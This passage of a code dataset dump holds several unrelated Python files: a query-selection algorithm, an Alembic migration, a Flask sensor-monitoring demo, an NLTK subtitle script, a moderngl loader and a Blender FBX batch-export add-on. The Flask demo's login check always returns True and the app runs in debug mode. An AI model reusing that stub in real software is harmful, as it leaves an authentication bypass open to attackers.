e\n\n if condition:\n break\n e_time = time.time() - start\n print('Done finding best entropy tuple [{}s].'.format(e_time))\n return t_hat, e_hat, e_time\n\n def execute(self, Q):\n tuples, valid_cqs, timed_out, sql_errors, query_time = self.run_cqs(Q)\n\n total_incr_time = 0\n comp_time = 0\n t_hat = None\n t_hat_cqids = None\n min_objective = 0\n while not t_hat:\n if not tuples and timed_out:\n tuples, incr_time = self.incremental_exec(Q, tuples, timed_out)\n total_incr_time += incr_time\n inf_T, inf_counts, inf_time = self.informative_tuples(Q, tuples)\n comp_time += inf_time\n t_hat, e_hat, e_time = self.find_best_entropy_tuple(Q, tuples, inf_T, inf_counts, timed_out)\n comp_time += e_time\n\n if t_hat:\n t_hat_cqids = tuples[t_hat]\n\n self.print_tuple(t_hat, e_hat, t_hat_cqids)\n\n result_meta = {\n 'objective': e_hat,\n 'total_cq': len(Q),\n 'exec_cq': len(Q),\n 'query_time': query_time + total_incr_time,\n 'comp_time': comp_time\n }\n return self.return_tuple(Q, t_hat, t_hat_cqids, result_meta)\n\nclass GreedyAll(Base):\n def execute(self, Q):\n tuples, valid_cqs, timed_out, sql_errors, query_time = self.run_cqs(Q)\n\n total_incr_time = 0\n comp_time = 0\n t_hat = None\n t_hat_cqids = None\n min_objective = 0\n while not t_hat:\n if not tuples and timed_out:\n tuples, incr_time = self.incremental_exec(Q, tuples, timed_out)\n total_incr_time += incr_time\n objectives, objective_time = self.calc_objectives(Q, tuples)\n comp_time += objective_time\n objectives, min_objective_time = self.min_objective_tuples(Q, tuples, objectives, timed_out)\n comp_time += min_objective_time\n\n if objectives:\n t_hat, min_objective = objectives.iteritems().next()\n t_hat_cqids = tuples[t_hat]\n\n self.print_best_tuples(Q, objectives, tuples, TOP_TUPLES)\n\n result_meta = {\n 'objective': min_objective,\n 'total_cq': len(Q),\n 'exec_cq': len(Q),\n 'query_time': query_time + total_incr_time,\n 'comp_time': comp_time\n }\n return self.return_tuple(Q, t_hat, t_hat_cqids, result_meta)\n\nclass GreedyBB(GreedyAll):\n def branch(self, Q, C, tuples):\n results = []\n for cqids in set(frozenset(item) for item in tuples.values()):\n X = set(cqids)\n for C_i in C:\n if cqids < C_i:\n X |= C_i\n results.append((self.bound(Q, cqids, {}), set(cqids), X))\n return results\n\n # M is a dictionary for memoizing intermediate results\n def bound(self, Q, S, M):\n S_w = 0\n diff_w = 0\n for cqid, cq in Q.iteritems():\n if cqid in S:\n S_w += cq.w\n else:\n diff_w += cq.w\n\n S_key = frozenset(S)\n\n if diff_w >= S_w:\n M[S_key] = diff_w - S_w\n else:\n if len(S) > BOUND_LIMIT:\n return 0\n\n vals = []\n vals.append(S_w - diff_w) # base case\n for C in combinations(S, len(S) - 1):\n C_key = frozenset(C)\n if C_key in M:\n vals.append(M[C_key])\n else:\n vals.append(self.bound(Q, C, M))\n M[S_key] = min(vals)\n return M[S_key]\n\n def tuples_in_all_and_less_cqs(self, tuples, S):\n all_cqs = {}\n less_cqs = {}\n\n for tuple, cqids in tuples.iteritems():\n if cqids == S:\n all_cqs[tuple] = cqids\n if cqids < S:\n less_cqs[tuple] = cqids\n return all_cqs, less_cqs\n\n def construct_qig(self, Q):\n print('Constructing QIG with information: {}'.format(self.info))\n start = time.time()\n if hasattr(self, 'qig'):\n self.qig.update(Q)\n else:\n if self.info == 'type':\n self.qig = QIGByType(self.db, Q)\n elif self.info == 'range':\n self.qig = QIGByRange(self.db, Q, self.aig)\n qig_time = time.time() - start\n print(\"Done constructing QIG [{}s]\".format(qig_time))\n return qig_time\n\n def find_maximal_cliques(self, Q):\n print('Finding maximal cliques...')\n start = time.time()\n\n if hasattr(self, 'cliques'):\n new_cliques = []\n for C_i in self.cliques:\n new_C_i = C_i & set(Q.iterkeys())\n if new_C_i:\n new_cliques.append(new_C_i)\n self.cliques = new_cliques\n else:\n self.cliques = self.qig.find_maximal_cliques()\n clique_time = time.time() - start\n print('Done finding maximal cliques [{}s]'.format(clique_time))\n return self.cliques, clique_time\n\n def set_to_dict(self, Q, S):\n S_dict = {}\n for s in S:\n S_dict[s] = Q[s]\n return S_dict\n\n def execute(self, Q):\n qig_time = self.construct_qig(Q)\n P = PriorityQueue()\n P_dups = set()\n C, clique_time = self.find_maximal_cliques(Q)\n\n for i, c in enumerate(C):\n print('Clique {}: {}'.format(i,c))\n P.put((self.bound(Q, c, {}), c, c))\n P_dups.add(frozenset(c))\n\n T_hat = {}\n v_hat = 99999999999\n\n total_query_time = 0\n total_objective_time = 0\n total_branch_time = 0\n\n tuples = {}\n executed = set()\n\n while not P.empty():\n (B, S, X) = P.get()\n\n if B >= v_hat:\n continue\n\n if not X <= executed:\n tuples, valid_cqs, timed_out, sql_errors, query_time = self.run_cqs(self.set_to_dict(Q, X), qig=self.qig, tuples=tuples)\n executed |= X\n total_query_time += query_time\n\n if not tuples and timed_out:\n tuples, incr_time = self.incremental_exec(Q, tuples, timed_out)\n total_query_time += incr_time\n\n start = time.time()\n T, U = self.tuples_in_all_and_less_cqs(tuples, S)\n if T:\n T_hat = T\n v_hat = self.objective(Q, S)\n total_objective_time += time.time() - start\n\n if U:\n start = time.time()\n for item in self.branch(Q, C, U):\n print('BRANCHING')\n if frozenset(item[1]) not in P_dups:\n P.put(item)\n P_dups.add(frozenset(item[1]))\n total_branch_time += time.time() - start\n\n min_objective = 0\n t_hat = None\n t_hat_cqids = None\n if T_hat:\n T_hat_items = T_hat.items()\n for t, S in T_hat_items[0:TOP_TUPLES]:\n self.print_tuple(t, self.objective(Q,S), S)\n\n t_hat, t_hat_cqids = T_hat_items[0]\n min_objective = self.objective(Q, t_hat_cqids)\n\n comp_time = qig_time + clique_time + total_objective_time + total_branch_time\n\n result_meta = {\n 'objective': min_objective,\n 'total_cq': len(Q),\n 'exec_cq': len(executed),\n 'query_time': total_query_time,\n 'comp_time': comp_time\n }\n return self.return_tuple(Q, t_hat, t_hat_cqids, result_meta)\n\nclass GreedyFirst(GreedyBB):\n def tuples_not_in_future_cliques(self, C, tuples, i):\n results = {}\n for t, cqids in tuples.iteritems():\n exclude = False\n for j in range(i + 1, len(C)):\n if cqids <= C[j][1]:\n exclude = True\n break\n if not exclude:\n results[t] = cqids\n return results\n\n def execute(self, Q):\n qig_time = self.construct_qig(Q)\n C, clique_time = self.find_maximal_cliques(Q)\n\n C_list = []\n\n for i, c in enumerate(C):\n print('Clique {}: {}'.format(i, c))\n C_list.append((self.bound(Q, c, {}), c))\n C_list.sort()\n\n total_query_time = 0\n future_check_time = 0\n\n tuples = {}\n executed = set()\n\n for i, C_info in enumerate(C_list):\n B, C_i = C_info\n\n if not C_i <= executed:\n tuples, valid_cqs, timed_out, sql_errors, query_time = self.run_cqs(self.set_to_dict(Q, C_i), qig=self.qig, tuples=tuples)\n executed |= C_i\n total_query_time += query_time\n\n if not tuples and timed_out:\n tuples, incr_time = self.incremental_exec(Q, tuples, timed_out)\n total_query_time += incr_time\n\n start = time.time()\n T = self.tuples_not_in_future_cliques(C_list, tuples, i)\n future_check_time += time.time() - start\n\n if T:\n objectives, calc_objective_time = self.calc_objectives(Q, T)\n objectives, min_objective_time = self.min_objective_tuples(Q, T, objectives, timed_out)\n\n t_hat, min_objective = objectives.iteritems().next()\n t_hat_cqids = tuples[t_hat]\n\n self.print_tuple(t_hat, min_objective, t_hat_cqids)\n\n result_meta = {\n 'objective': min_objective,\n 'total_cq': len(Q),\n 'exec_cq': len(executed),\n 'query_time': total_query_time,\n 'comp_time': qig_time + clique_time + calc_objective_time + min_objective_time + future_check_time\n }\n return self.return_tuple(Q, t_hat, t_hat_cqids, result_meta)\n\n\nclass TopW(Base):\n # credit: https://gist.github.com/9thbit/1559670/4ee195bdbec43aff58a65b148b11c2ac7d246c11\n def cmp_w_randomize_ties(self, a, b):\n diff = cmp(a, b)\n return diff if diff else (random.randint(0, 1) * 2 - 1)\n\n def execute(self, Q):\n exec_cqs = []\n valid_cqs = []\n timed_out = []\n sql_errors = []\n cached = []\n\n print(\"Executing CQs in weighted order and select 1 random tuple...\")\n sorted_cqs = OrderedDict(sorted(Q.iteritems(), key=lambda x: -x[1].w, cmp=self.cmp_w_randomize_ties))\n\n timeout_cost = None\n tuples = {}\n\n total_query_time = 0\n start = time.time()\n for cqid, cq in sorted_cqs.iteritems():\n try:\n if timeout_cost and cq.get_cost(self.db) >= timeout_cost:\n cq.timed_out = True\n timed_out.append(cqid)\n continue\n\n exec_cqs.append(cqid)\n print(cq.query_str)\n cq_tuples, was_cached = self.db.execute(cq)\n\n if was_cached:\n cached.append(cqid)\n\n if cq.timed_out:\n timed_out.append(cqid)\n timeout_cost = cq.get_cost(self.db)\n\n if cq.tuples:\n valid_cqs.append(cqid)\n\n tuple_list = list(cq_tuples)\n random.shuffle(tuple_list)\n\n found = False\n\n for t in tuple_list:\n tuples = { t: set([ int(cqid) ]) }\n\n # need to check not-yet-executed queries and any timed-out queries\n check_queries = list(set(Q.iterkeys()) - set(exec_cqs))\n check_queries.extend(timed_out)\n\n for other_cqid in check_queries:\n if Query.tuple_in_query(self.db, t, Q[other_cqid]):\n tuples[t].add(other_cqid)\n\n if tuples[t] != set(Q.iterkeys()):\n found = True\n break\n else:\n cq.tuples = None\n tuples = {}\n if found:\n break\n except Exception:\n print(traceback.format_exc())\n sql_errors.append(cqid)\n\n self.print_stats(exec_cqs, timed_out, sql_errors, valid_cqs, cached)\n\n if not tuples and timed_out:\n tuples, incr_time = self.incremental_exec(Q, tuples, timed_out)\n\n total_query_time += time.time() - start\n\n t_hat = None\n t_hat_cqids = None\n min_objective = 0\n if tuples:\n objectives, calc_objective_time = self.calc_objectives(Q, tuples)\n objectives, min_objective_time = self.min_objective_tuples(Q, tuples, objectives, [])\n self.print_best_tuples(Q, objectives, tuples, TOP_TUPLES)\n t_hat, min_objective = objectives.iteritems().next()\n t_hat_cqids = tuples[t_hat]\n\n result_meta = {\n 'objective': min_objective,\n 'total_cq': len(Q),\n 'exec_cq': len(exec_cqs),\n 'query_time': total_query_time,\n 'comp_time': calc_objective_time + min_objective_time\n }\n return self.return_tuple(Q, t_hat, t_hat_cqids, result_meta)\n","repo_name":"umich-dbgroup/litmus","sub_path":"python/modules/algorithms.py","file_name":"algorithms.py","file_ext":"py","file_size_in_byte":23952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13440088111","text":"\"\"\"move geolocation\n\nRevision ID: f9d784e816d2\nRevises: 698131e6ffd5\nCreate Date: 2023-05-16 08:41:51.101634\n\n\"\"\"\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"f9d784e816d2\"\ndown_revision = \"698131e6ffd5\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table(\n \"server_stats_metadata\",\n sa.Column(\"id\", sa.Integer(), nullable=False),\n sa.Column(\"name\", sa.String(), nullable=False),\n sa.Column(\"date_value\", sa.DateTime(), nullable=False),\n sa.PrimaryKeyConstraint(\"id\"),\n )\n\n # Reset internal jobs - will be recreated on server startup\n op.execute(sa.text(\"DELETE FROM internal_jobs WHERE status IN ('running', 'waiting')\"))\n\n op.execute(\n sa.text(\n \"\"\"INSERT INTO server_stats_metadata (name, date_value)\n VALUES ('last_geolocated_date', now() AT TIME ZONE 'utc')\n \"\"\"\n )\n )\n\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table(\"server_stats_metadata\")\n # ### end Alembic commands ###\n","repo_name":"MolSSI/QCFractal","sub_path":"qcfractal/qcfractal/alembic/versions/2023-05-16-f9d784e816d2_move_geolocation.py","file_name":"2023-05-16-f9d784e816d2_move_geolocation.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":134,"dataset":"github-code","pt":"31"} +{"seq_id":"8543954461","text":"from flask import Flask,render_template,request\nimport os \nimport random\nimport threading\nimport datetime\nimport time\n\ndato1 = 0\ndato2 = 0\ndato3 = 0\n#################################################funciones#################################\nclass temperatura:\n def __init__(self,condicion,minimo,maximo):\n self.condicion = condicion\n self.minimo = int(minimo)\n self.maximo = int(maximo)\n \n\ndef mod_info():\n global ruta\n directory = os.path.dirname(__file__)\n nombre_archivo = 'bd/parametros.csv'\n ruta = os.path.join(directory, nombre_archivo)\n\n\n \n f = open(ruta,'r')\n datos_mod = f.readlines()\n\n\n for d in datos_mod:\n # print(d)\n if name_range in d:\n # print(d)\n datos_mod.remove(d)\n \n \n datos_mod.append(name_range + ';' + str(minimo) + ';' + str(maximo) + '\\n')\n # file_sensores = 'C:/Users/Administrador/Desktop/DABM PYTHONv2/flask/bd/parametros.csv'\n archivo = open(ruta,'w')\n archivo.writelines(datos_mod)\n archivo.close()\n # input('Cambios guardados exitosamente')\n # datos_arduino()\n \n\n##############################################################################################\n\napp = Flask(__name__)\n\n@app.route('/') ##le estoy diciendo a flask cuando el usuario entre a esta ruta ejecuta esta funcion\ndef inicio():\n return render_template('login.html')\n\n@app.route('/datos')\ndef datos():\n user = {'nombre' : 'david'}\n return render_template('datos.html',title='Titulo personalizado', user = user)\n\n@app.route('/validar', methods = [\"POST\",\"GET\"]) ###metodo get en la etiqueta form de html me sirve para capturar los datos y poder visualizarlos en el url, con el metodo post puedo guardar esos datos pero no visualizarlos en el url para mayor seguridad\ndef validar(): ##MENSAJE QUE SE ENVIA al servidor para verificar informacion que captura se llama request\n if request.method == \"POST\":\n usuario = request.form['usuario']\n password = request.form['password']\n resultado = verificar(usuario,password)\n \n # return resultado\n return render_template('menu.html', title = 'Sistema DABM')\n\ndef sensor1():\n global dato1\n dato1 = random.randint(20,45)\n hora = datetime.datetime.now()\n registro = str(dato1) + ';' + str(hora) + '\\n'\n print(registro)\n time.sleep(1)\n\n directorio = os.path.dirname(__file__)\n archivo = './bd/sensor1.csv'\n storage = os.path.join(directorio , archivo)\n\n f = open(storage, 'a')\n f.write(registro)\n f.close()\n\ndef sensor2():\n global dato2\n dato2 = random.randint(20,45)\n hora = datetime.datetime.now()\n registro = str(dato1) + ';' + str(hora) + '\\n'\n print(registro)\n time.sleep(1)\n\n directorio = os.path.dirname(__file__)\n archivo = './bd/sensor2.csv'\n storage = os.path.join(directorio , archivo)\n\n f = open(storage, 'a')\n f.write(registro)\n f.close()\n\ndef sensor3():\n global dato3\n dato3 = random.randint(20,45)\n hora = datetime.datetime.now()\n registro = str(dato1) + ';' + str(hora) + '\\n'\n print(registro)\n time.sleep(1)\n\n directorio = os.path.dirname(__file__)\n archivo = './bd/sensor3.csv'\n storage = os.path.join(directorio , archivo)\n\n f = open(storage, 'a')\n f.write(registro)\n f.close()\n\n\n\n\n@app.route('/monitor')\ndef monitor():\n\n h1 = threading.Thread(target = sensor1)\n h1.daemon = True ##sirve para que cuando mi funcion termine de ejecutar lo que tiene que hacer se cierre automaticamente\n h2 = threading.Thread(target = sensor2)\n h2.daemon = True\n h3 = threading.Thread(target = sensor3)\n h3.daemon = True\n\n h1.start()\n h2.start()\n h3.start()\n #consultar archivo de parametros\n datos = get_datos()\n #print(datos)\n #obtener lectura\n lecturas = [dato1,dato2,dato3]\n\n colores = []\n for lectura in lecturas:\n color = 0\n if lectura >= int(datos[0][1]) and lectura <= int(datos[0][2]):\n color = 1\n if lectura >= int(datos[1][1]) and lectura <= int(datos[1][2]):\n color = 2\n if lectura >= int(datos[2][1]) and lectura <= int(datos[2][2]):\n color = 3\n colores.append(color)\n print(colores)\n return render_template('monitor.html', datos = datos, lecturas = lecturas, colores=colores)\n\n@app.route('/config', methods=['GET','POST'])\ndef config(): ##recibo los elementos que me envia el submit config \n global minimo\n global maximo\n global t\n global name_range\n if request.method == \"POST\":\n minimo= request.form['minHipo'] \n maximo = request.form['maxHipo']\n name_range = 'hipotermia'\n t = temperatura(name_range,minimo,maximo)\n mod_info()\n minimo = request.form['minNorm']\n maximo = request.form['maxNorm']\n name_range = 'normal'\n t = temperatura(name_range,minimo,maximo)\n mod_info()\n minimo = request.form['minFie']\n maximo = request.form['maxFie']\n name_range = 'fiebre'\n t = temperatura(name_range,minimo,maximo)\n mod_info()\n\n \n return render_template('config.html')\n\ndef get_datos():\n directorio = os.path.dirname(__file__)\n nombre_archivo = 'bd/parametros.csv'\n ruta = os.path.join(directorio, nombre_archivo)\n f = open(ruta,'r')\n lineas = f.readlines()\n f.close()\n\n datos = []\n\n for l in lineas:\n l = l.replace('\\n','')\n l = l.split(';')\n datos.append(l)\n return datos\n\ndef verificar(usuario,password):\n # file = open('C:/Users/Administrador/Desktop/DABM PYTHONv2/flask/bd/users.csv','r')\n # datos = file.readlines()\n # file.close()\n # for dato in datos:\n # dato = dato.replace('\\n','')\n # us,contra = dato.split(';')\n \n # if us == usuario and contra == password:\n # return 'Usuario autenticado exitosamente'\n # else:\n # print(usuario,password)\n # return 'Usuario no registrado'\n return True\n\n\nif __name__ == '__main__':\n app.run(debug=True) \n # validar()","repo_name":"andfelsil98/dabm2021-flask","sub_path":"ejemplo.py","file_name":"ejemplo.py","file_ext":"py","file_size_in_byte":6095,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24947039238","text":"\nimport nltk\nfrom nltk.corpus import stopwords\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom wordcloud import WordCloud\nimport matplotlib.pyplot as plt\nfrom get_subtitle import get_movie_lines_list\n\nstop_words = stopwords.words('english')\n\ndef srt_to_frequency_dict(movie_lines):\n\n filtered_words = []\n for line in movie_lines:\n clean_tokens = nltk.tokenize.word_tokenize(line)\n clean_tokens = nltk.pos_tag(clean_tokens)\n for token in clean_tokens:\n word = token[0]\n word_type = token[1]\n if word not in stop_words:\n if word_type == \"NN\" or word_type == \"JJ\" or word_type == \"VB\" or word_type == \"VBG\" or word_type == \"RB\" or word_type == \"X\" :\n if word.isalpha():\n word = word.lower()\n if word[-3:] == 'ing' and word_type == \"VBG\":\n word = WordNetLemmatizer().lemmatize(word,'v')\n if word[-2:] == 'in':\n if nltk.pos_tag([word + \"g\"])[0][1] == \"VBG\":\n word = WordNetLemmatizer().lemmatize(word + \"g\",'v')\n if word == 'gon':\n word = 'go'\n filtered_words.append(word) \n\n word_frequency_dict = {}\n freq = nltk.FreqDist(filtered_words)\n #freq.plot(100, cumulative=False, )\n\n for word, frequency in freq.most_common():\n word_frequency_dict[word] = frequency\n\n return word_frequency_dict\n\n\n\nif __name__ == '__main__':\n #file_name = \"C:/myProjects/TDI/CapstoneProject/srt/Other/12AngryMen.srt\"\n #file_name = \"C:/myProjects/TDI/CapstoneProject/srt/Other/Inception.srt\"\n file_name = \"C:/myProjects/TDI/CapstoneProject/srt/Other/Inception.srt\"\n\n my_dict = srt_to_frequency_dict(file_name)\n print(my_dict)\n","repo_name":"mostafa-razavi/Subtitle","sub_path":"Scripts/srt_to_wordfreq.py","file_name":"srt_to_wordfreq.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24032570961","text":"# ##### BEGIN GPL LICENSE BLOCK #####\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation,\n# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n#\n# ##### END GPL LICENSE BLOCK #####\n# \n\nbl_info = {\n \"name\": \"Batch export FBX files\",\n \"author\": \"brockmann\",\n \"version\": (0, 1, 0),\n \"blender\": (2, 80, 0),\n \"location\": \"File > Import-Export\",\n \"description\": \"Batch Export Objects in Selection to FBX\",\n \"warning\": \"\",\n \"wiki_url\": \"\",\n \"tracker_url\": \"\",\n \"category\": \"Import-Export\"}\n\n\nimport bpy\nimport os\n\nfrom mathutils import Matrix, Vector, Euler, Quaternion\nfrom bpy_extras.io_utils import ExportHelper\n\nfrom bpy.props import (BoolProperty,\n FloatProperty,\n StringProperty,\n EnumProperty,\n CollectionProperty\n )\n\n\nclass Batch_FBX_Export(bpy.types.Operator, ExportHelper):\n \"\"\"Batch export objects to fbx files\"\"\"\n bl_idname = \"export_scene.batch_fbx\"\n bl_label = \"Batch export FBX\"\n bl_options = {'PRESET', 'UNDO'}\n\n # ExportHelper mixin class uses this\n filename_ext = \".fbx\"\n\n filter_glob = StringProperty(\n default=\"*.fbx\",\n options={'HIDDEN'},\n )\n\n # List of operator properties, the attributes will be assigned\n # to the class instance from the operator setting before calling.\n\n # context group\n use_selection_setting: BoolProperty(\n name=\"Selection Only\",\n description=\"Export selected objects only\",\n default=True,\n )\n\n use_mesh_modifiers_setting: BoolProperty(\n name=\"Apply Modifiers\",\n description=\"Apply modifiers (preview resolution)\",\n default=True,\n )\n axis_forward_setting: EnumProperty(\n name=\"Forward\",\n items=(('X', \"X Forward\", \"\"),\n ('Y', \"Y Forward\", \"\"),\n ('Z', \"Z Forward\", \"\"),\n ('-X', \"-X Forward\", \"\"),\n ('-Y', \"-Y Forward\", \"\"),\n ('-Z', \"-Z Forward\", \"\"),\n ),\n default='-Z',\n )\n axis_up_setting: EnumProperty(\n name=\"Up\",\n items=(('X', \"X Up\", \"\"),\n ('Y', \"Y Up\", \"\"),\n ('Z', \"Z Up\", \"\"),\n ('-X', \"-X Up\", \"\"),\n ('-Y', \"-Y Up\", \"\"),\n ('-Z', \"-Z Up\", \"\"),\n ),\n default='Y',\n )\n global_scale_setting: FloatProperty(\n name=\"Scale\",\n min=0.01, max=1000.0,\n default=1.0,\n )\n\n def execute(self, context): \n\n # get the folder\n folder_path = os.path.dirname(self.filepath)\n\n # get objects selected in the viewport\n viewport_selection = context.selected_objects\n\n # get export objects\n obj_export_list = viewport_selection\n if self.use_selection_setting == False:\n obj_export_list = [i for i in context.scene.objects]\n\n # deselect all objects\n bpy.ops.object.select_all(action='DESELECT')\n \n levelfile = open(os.path.join(folder_path, \"ue.level\"), 'w')\n levelfile.write('Begin Map\\n')\n levelfile.write('Begin Level\\n')\n\n counter = 0\n \n \n for item in obj_export_list:\n item.select_set(True)\n\n euler = item.rotation_quaternion.to_euler('XYZ')\n location = item.location.copy()\n scale = item.scale.copy()\n rot_quat = item.rotation_quaternion.copy()\n root_name = item.users_collection[0].name\n filename = bpy.path.basename(bpy.context.blend_data.filepath)\n filename = os.path.splitext(filename)[0]\n\n item.location = Vector([0,0,0])\n item.rotation_quaternion = Vector([1,0,0,0])\n\n # fbx root name\n fbx_name = item.name.replace(\".\",\"_\")\n if \"_inst\" in fbx_name:\n chopidx = str.rindex( fbx_name, '_inst')\n fbx_name = fbx_name[:chopidx]\n\n if item.type == 'MESH' and not \".inst.\" in item.name:\n \n file_path = os.path.join(folder_path, \"{}.fbx\".format(item.name))\n\n # FBX settings\n bpy.ops.export_scene.fbx(\n filepath=file_path, \n use_selection=self.use_selection_setting, \n use_active_collection=False, \n global_scale=self.global_scale_setting, \n apply_unit_scale=True, \n apply_scale_options='FBX_SCALE_NONE', \n bake_space_transform=False, \n object_types={'EMPTY', 'CAMERA', 'LIGHT', 'ARMATURE', 'MESH', 'OTHER'}, \n use_mesh_modifiers=self.use_mesh_modifiers_setting, \n use_mesh_modifiers_render=True, \n mesh_smooth_type='OFF', \n use_subsurf=False, \n use_mesh_edges=False, \n use_tspace=False, \n use_custom_props=False, \n add_leaf_bones=True, primary_bone_axis='Y', \n secondary_bone_axis='X', \n use_armature_deform_only=False, \n armature_nodetype='NULL', \n bake_anim=True, \n bake_anim_use_all_bones=True, \n bake_anim_use_nla_strips=True, \n bake_anim_use_all_actions=True, \n bake_anim_force_startend_keying=True, \n bake_anim_step=1, \n bake_anim_simplify_factor=1, \n path_mode='AUTO', \n embed_textures=False, \n batch_mode='OFF', \n use_batch_own_dir=True, \n use_metadata=True, \n axis_forward=self.axis_forward_setting, \n axis_up=self.axis_up_setting\n ) \n \n levelfile.write(\" Begin Actor Class=/Script/Engine.StaticMeshActor Name=StaticMeshActor_{} Archetype=/Script/Engine.StaticMeshActor'/Script/Engine.Default__StaticMeshActor'\\n\".format(counter))\n levelfile.write(\" Begin Object Class=/Script/Engine.StaticMeshComponent Name=\\\"StaticMeshComponent0\\\" Archetype=/Script/Engine.StaticMeshComponent'/Script/Engine.Default__StaticMeshActor:StaticMeshComponent0'\\n\")\n levelfile.write(\" End Object\\n\")\n levelfile.write(\" Begin Object Name=\\\"StaticMeshComponent0\\\"\\n\")\n levelfile.write(\" StaticMesh=/Script/Engine.StaticMesh'\\\"/Game/Art/Level/{}/{}.{}\\\"'\\n\".format(filename, fbx_name, fbx_name))\n levelfile.write(\" StaticMeshImportVersion=1\\n\")\n levelfile.write(\" RelativeLocation=(X={},Y={},Z={})\\n\".format(-location[0]*100,location[1]*100,location[2]*100))\n levelfile.write(\" RelativeRotation=(Pitch={},Yaw={},Roll={})\\n\".format(-euler[1]*57.29578,180 - euler[2]*57.29578,euler[0]*57.29578))\n levelfile.write(\" RelativeScale3D=(X={},Y={},Z={})\\n\".format(scale[0],scale[1],scale[2]))\n levelfile.write(\" End Object\\n\")\n levelfile.write(\" StaticMeshComponent=\\\"StaticMeshComponent0\\\"\\n\")\n levelfile.write(\" RootComponent=\\\"StaticMeshComponent0\\\"\\n\")\n levelfile.write(\" ActorLabel=\\\"{}\\\"\\n\".format(item.name))\n levelfile.write(\" End Actor\\n\")\n counter = counter + 1\n\n item.location = location\n item.rotation_quaternion = rot_quat\n item.select_set(False)\n\n levelfile.write('Begin Surface\\n')\n levelfile.write('End Surface\\n')\n levelfile.write('End Map\\n')\n\n # restore viewport selection\n for ob in viewport_selection:\n ob.select_set(True)\n\n return {'FINISHED'}\n\n\n# Only needed if you want to add into a dynamic menu\ndef menu_func_import(self, context):\n self.layout.operator(Batch_FBX_Export.bl_idname, text=\"FBX Batch Export (.fbx)\")\n\n\ndef register():\n bpy.utils.register_class(Batch_FBX_Export)\n bpy.types.TOPBAR_MT_file_export.append(menu_func_import)\n\n\ndef unregister():\n bpy.utils.unregister_class(Batch_FBX_Export)\n bpy.types.TOPBAR_MT_file_export.remove(menu_func_import)\n\n\nif __name__ == \"__main__\":\n # unregister()\n register()\n\n # test call\n #bpy.ops.export_scene.batch_fbx('INVOKE_DEFAULT')","repo_name":"gameknife/smdconv","sub_path":"blender/batchexportfbx.py","file_name":"batchexportfbx.py","file_ext":"py","file_size_in_byte":9371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39143296260","text":"import logging\r\n\r\nfrom moderngl_window.exceptions import ImproperlyConfigured\r\nfrom moderngl_window.loaders.base import BaseLoader\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\nclass Loader(BaseLoader):\r\n kind = \"text\"\r\n file_extensions = [\r\n [\".txt\"],\r\n ]\r\n\r\n def load(self) -> str:\r\n \"\"\"Load a file in text mode.\r\n\r\n Returns:\r\n str: The string contents of the file\r\n \"\"\"\r\n self.meta.resolved_path = self.find_data(self.meta.path)\r\n\r\n if not self.meta.resolved_path:\r\n raise ImproperlyConfigured(\r\n \"Data file '{}' not found\".format(self.meta.path)\r\n )\r\n\r\n logger.info(\"Loading: %s\", self.meta.path)\r\n\r\n with open(str(self.meta.resolved_path), \"r\") as fd:\r\n return fd.read()\r\n","repo_name":"moderngl/moderngl-window","sub_path":"moderngl_window/loaders/data/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":210,"dataset":"github-code","pt":"31"} +{"seq_id":"14039258627","text":"#coding:utf-8\n__author__ = 'zlj'\nimport sys\n\nreload(sys)\nsys.setdefaultencoding('utf8')\n\nfrom pyspark import SparkContext\nfrom pyspark.sql import *\nfrom pyspark.sql.types import *\nimport time\nimport rapidjson as json\n\nsc = SparkContext(appName=\"cmt\")\nsqlContext = SQLContext(sc)\nhc = HiveContext(sc)\n\nhc.sql('use wlservice ')\n\n\ndef f(x):\n ls=[]\n for k,v in x.items():\n ls.append((k,v))\n return ls\n\n\nrdd=hc.sql('select * from t_tianxiang_feed_item_tmp_id_map').map(lambda x:f(x.paramap)).flatMap(lambda x:x)\n\n\nrdd.map(lambda x:(x[0],1)).reduceByKey(lambda a,b:a+b).map(lambda x:x[0]+'\\t'+str(x[1])).saveAsTextFile('/user/zlj/tmp/dd')\n\n\n\n\nrdd=sc.textFile('/hive/warehouse/wlservice.db/t_tianxiang_feed_item_tmp_id_map').map(lambda x:x.split('\\001')[-1])\n\n\n","repo_name":"LyenC2C/sparkdata","sub_path":"zlj/project/task_old/tianxiang/property_kv.py","file_name":"property_kv.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"71540769687","text":"from enum import Enum\nimport gi, sys, os, subprocess, json, math, webbrowser\ngi.require_version('Gtk', '4.0')\ngi.require_version('Adw', '1')\ngi.require_version('GtkSource', '5')\nfrom gi.repository import Gtk, Gdk, GdkPixbuf, Gio, GLib, Adw, GtkSource, Pango\n\ncompilador_dir = '../compilador/main.py'\n\nclass Semaforo(Gtk.DrawingArea):\n class Color(Enum):\n NINGUNO = 0\n VERDE = 1\n AMARILLO = 2\n ROJO = 3\n \n def __init__(self, color: Color = Color.NINGUNO):\n super().__init__()\n self.set_content_width(120)\n self.set_content_height(40)\n 